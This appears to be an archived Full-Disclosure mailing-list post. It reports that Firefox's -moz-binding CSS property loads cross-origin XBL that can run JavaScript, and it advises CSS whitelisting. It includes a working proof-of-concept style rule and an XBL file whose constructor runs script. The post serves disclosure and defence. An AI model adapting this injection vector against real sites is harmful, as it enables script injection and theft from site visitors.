SecurityvulnsSECURITYVULNS:DOC:11222[Full-disclosure] -moz-binding CSS property: more XSS fun
Hm, I haven't seen this posted here …
Firefox now supports the -moz-binding CSS property, which associate
XBL[1] with an element. The same origin policy is not applied. This is a
problem because XBL may contain JavaScript and it runs with full access
to content.
There is a bug report[2] filed, but it seems unlikely that it will be
fixed anytime soon.
This is a good time to consider using a CSS parser and whitelist to
filter style tags and attributes.
I've included a very simple example below.
Cheers,
-Nikolas
[1] http://www.mozilla.org/projects/xbl/xbl.html
[2] https://bugzilla.mozilla.org/show_bug.cgi?id=324253
http://domain1/path/to/page.html :
<html>
<head>
<style>
body { -moz-binding: url("http://domain2/path/to/xbl.xml#xss"); }
</style>
</head>
<body>
</body>
</html>
http://domain2/path/to/xbl.xml :
<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl"
xmlns:html="http://www.w3.org/1999/xhtml">
<binding id="xss">
<implementation>
<constructor>
alert("XBL XSS");
</constructor>
</implementation>
</binding>
</bindings>
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/